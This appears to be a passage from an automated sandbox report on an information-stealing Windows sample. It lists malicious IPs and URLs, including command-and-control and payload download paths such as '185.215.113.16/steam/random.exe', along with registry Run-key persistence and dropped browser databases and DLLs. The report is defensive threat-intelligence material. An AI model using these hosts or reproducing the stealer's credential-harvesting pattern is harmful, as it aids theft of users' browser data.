http://185.215.113.206ata	file.exe, 00000000.00000002.1859870792.0000000000A34000.00000040.00000001.01000000.00000003.sdmp	false		high
https://atten-supporse.biz/apiO	16b11e2c5c.exe, 0000001A.00000003.2447835930.000000000136A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpKw	skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	16b11e2c5c.exe, 0000001A.00000003.2418263142.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000003.2418458649.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, FIEHDBGD.0.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1867887058.000000000B9F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.000000000138A000.00000004.00000020.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000002.2495659219.0000000005C28000.00000004.00000800.00020000.00000000.sdmp, AAEHIDAKECFIEBGDHJEB.0.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	16b11e2c5c.exe, 0000001A.00000003.2481104346.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000002.1867887058.000000000B9F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861693322.000000000138A000.00000004.00000020.00020000.00000000.sdmp, 16b11e2c5c.exe, 0000001A.00000002.2495659219.0000000005C28000.00000004.00000800.00020000.00000000.sdmp, AAEHIDAKECFIEBGDHJEB.0.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	AAEHIDAKECFIEBGDHJEB.0.dr	false		high
http://185.215.113.16/steam/random.exe132	skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpi	skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org	EGDBAFHJJDAKEBGCFCBGDHDGII.0.dr	false		high
http://185.215.113.206	file.exe, 00000000.00000002.1861693322.000000000129E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1859870792.0000000000A7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1859870792.0000000000A34000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpm	skotes.exe, 00000018.00000002.2492683426.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.142	www3.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.165.166	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
216.58.208.228	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570747
Start date and time:	2024-12-08 00:47:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@43/57@7/9
EGA Information:	Successful, ratio: 80%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.17.46, 64.233.162.84, 172.217.21.35, 142.250.181.10, 142.250.181.138, 172.217.17.42, 142.250.181.74, 172.217.19.202, 216.58.208.234, 142.250.181.106, 172.217.19.10, 172.217.17.74, 172.217.19.234, 217.20.58.98
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, time.windows.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target file.exe, PID 2688 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
02:10:23	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
02:11:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 16b11e2c5c.exe C:\Users\user~1\AppData\Local\Temp\1013060001\16b11e2c5c.exe
02:11:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 16b11e2c5c.exe C:\Users\user~1\AppData\Local\Temp\1013060001\16b11e2c5c.exe
02:11:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7215223519.exe C:\Users\user~1\AppData\Local\Temp\1013061001\7215223519.exe
02:11:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7215223519.exe C:\Users\user~1\AppData\Local\Temp\1013061001\7215223519.exe
20:09:51	API Interceptor	3079x Sleep call for process: file.exe modified
20:11:00	API Interceptor	217x Sleep call for process: skotes.exe modified
20:11:16	API Interceptor	4x Sleep call for process: 16b11e2c5c.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkTortilla, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/well/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.6
plus.l.google.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.46
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse	142.250.201.14
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	172.217.17.46
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Unknown	Browse	104.21.35.78
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Stealc	Browse	20.109.210.53 13.107.246.63 23.218.208.109
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAEHIDAKECFIEBGDHJEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BKJJJDHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBKFBAECBAEGDGDHIEHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGDBAFHJJDAKEBGCFCBGDHDGII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIEHDBGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHDGIEHJJJJEBGDAFHJEBGDGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJDBGDGCGDAKFIDGIDBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
